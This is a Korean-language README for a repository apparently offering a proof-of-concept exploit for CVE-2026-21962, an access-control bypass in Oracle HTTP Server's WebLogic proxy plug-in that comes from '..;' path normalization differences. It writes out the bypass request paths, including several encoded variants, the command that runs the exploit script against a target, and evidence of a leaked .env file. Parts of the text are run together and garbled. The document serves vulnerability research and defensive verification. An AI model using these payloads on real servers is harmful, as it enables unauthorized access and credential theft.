
# CVE-2026-21962 검증된 PoC 및 분석 Oracle HTTP Server/WebLogic Proxy Plug-in의 URI 정규화 불일치로 인한 접근 제어 우회 취약점으로, 익스플로잇 스크립트와 증거를 포함합니다.
CVE-2026-21962(부적절한 접근 제어, CVSS 10.0)에 대한 독립적으로 재현된 익스플로잇 및 분석 자료로, Oracle HTTP Server / Apache HTTP Server용 Oracle WebLogic Server 프록시 플러그인에 관한 내용입니다.
상태: 검증 완료 — WebLogic Server 12.2.1.4를 앞세운 실제 OHS 12.2.1.4.0 및 14.1.2.0.0 환경에서 확인되었습니다.
프런트엔드(OHS + mod_wl_ohs)와 백엔드(WebLogic)는 ..;를 다르게 정규화합니다. 다음과 같은 요청:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
OHS가 ..;을 축소하지 않는 반면 WebLogic은 축소하므로(; = 서블릿 경로 매개변수, .. = 상위 디렉터리), 프런트엔드 보호 규칙을 우회합니다. 그러면 백엔드가 보호된 경로를 제공합니다. 결과: (CWE-284).
<Location /internal-admin>mod_wl_ohs(WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)가 WebLogic Server 12.2.1.4를 앞세운 환경.mod_wl_ohs(WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)가 WebLogic Server 12.2.1.4를 앞세운 환경..env를 유출):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404), 우회가 입증됨.X-ORACLE-DMS-* 헤더가 포함되어 있어 실제 백엔드(WebLogic) 응답임이 입증됨./internal-admin/...으로 정규화된 것으로 표시됨(GET /foo/../internal-admin/... 200).evidence/ 참조).poc-factcheck.md 참조).isapi_wl, 12.2.1.4.0에서 영향). 동일한 메커니즘(백엔드의 서블릿 경로 해석)이 예상되지만 Windows에서 재현되지는 않았습니다.analysis/patch-analysis.md)입니다.| 역할 | 구성 요소 | 버전 |
|---|---|---|
| 프런트엔드 | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| 플러그인 | mod_wl_ohs | 12.2.1.4(190912) / 14.1.2(250908) |
| 백엔드 | Oracle WebLogic Server | 12.2.1.4 |
| 보호 앱 | /internal-admin/cont/.env(가상 자격 증명) | — |
사용된 프런트엔드 구성(최소 트리거):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
동일한 요청, 동일한 프런트엔드, 동일한 백엔드 — 프런트엔드의 ..; 처리만 변경됩니다.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| 배포 환경 | HTTP | 유출 | 백엔드 도달 |
|---|---|---|---|
| 취약 | 200 | 예(.env 자격 증명) | 예(X-ORACLE-DMS-*) |
| 패치됨(정규화 수정) | 404 | 아니요 | 아니요 |
원시 증거(요청/응답/서버 로그):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : WLSRequest 프록시 접두사(예: /foo)를 자동 감지합니다.-c : 백엔드의 보호 경로(기본값 internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-* 헤더를 사용합니다. 판정이 긍정이려면 제어(직접) 요청이 차단되어야 합니다.자세한 내용은 exploit/README.md를 참조하세요. 테스트 권한이 있는 시스템에만 사용하세요.
.
├── README.md 이 파일
├── exploit/
│ ├── CVE-2026-21962.py 검증된 PoC(결정적 유출 확인)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md 정규화 불일치 분석
│ └── patch-analysis.md 바이너리 diff + 패치 동등 A/B
└── poc-factcheck.md 공개 PoC 신뢰성 표 + PoC별 세부 정보
보호 경로를 알지 못해도 작동하는 능동 탐지/매핑 도구(핑거프린트, 블라인드 프로브, 정규화 맵)는 ../../probe/에 별도로 보관됩니다.
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75a이 자료는 취약점 연구 및 방어적 검증을 위해 제공됩니다. 승인 없이 시스템에 사용하지 마세요. 증거 자료의 .env 내용은 가상의 것이며 실제 자격 증명은 포함되어 있지 않습니다.